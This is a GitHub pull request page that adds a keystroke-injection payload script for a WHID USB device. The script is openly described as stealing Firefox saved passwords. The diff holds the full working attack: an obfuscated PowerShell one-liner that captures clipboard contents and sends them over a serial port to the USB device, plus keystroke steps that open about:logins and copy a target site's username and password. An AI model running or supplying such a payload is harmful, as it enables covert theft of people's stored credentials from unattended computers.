Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create WinFFCredsExfil.txt #50

Merged
merged 1 commit into from
Nov 15, 2019
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
39 changes: 39 additions & 0 deletions Payloads/windows/WinFFCredsExfil.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
Rem: Payload created by @TravisPooley https://github.com/TravisPooley/WHID-Payloads
Rem: Designed to grab target creds for Firefox Release: 70.0.1
Rem: Open powershell to grab passwords and write them to the device
Press: 131 + 114
CustomDelay: 500
PrintLine: powershell
CustomDelay: 2000
PrintLine:$n="a";$ar=@();Set-Clipboard -Value $n;while($ar.length -lt 2){if ((Get-Clipboard) -eq $n) {Start-Sleep -Milliseconds 50;}else {$ar+=@((Get-Clipboard));Set-Clipboard -Value $n;}}$n="Firefox Stolen Passwords Device:";$n+=whoami;$n+=" Username: ";$n+=$ar[0];$n+=" Password: ";$n+=$ar[1];$s=(Get-WmiObject -Class Win32_PnPEntity -Namespace 'root\CIMV2' -Filter "PNPDeviceID like 'USB\\VID_1b4f&PID_9208%'").Caption;$com=[regex]::match($s,'\(([^\)]+)\)').Groups[1].Value;$port= new-Object System.IO.Ports.SerialPort $com,38400,None,8,one;$port.open();$port.WriteLine("SerialEXFIL:$n");$port.Close();exit;

Rem: Open Firefox
Press: 131 + 114
CustomDelay: 500
PrintLine: firefox
CustomDelay: 2000

Rem: Navigate to login settings page
Press:128+116
CustomDelay: 250
PrintLine: about:logins

Rem: Navigate to login that you want to steal
Rem: Change \/ to target site
PrintLine:twitter
Press: 179
Press: 179
Press: 179
Press: 179
Rem: Confirm target site
Press: 32
Press: 179
Press: 179
Rem: Copy Username
Press: 176
Press: 179
Press: 179
Rem: Copy Password
Press: 176
Press: 128 + 119
Press: 128 + 119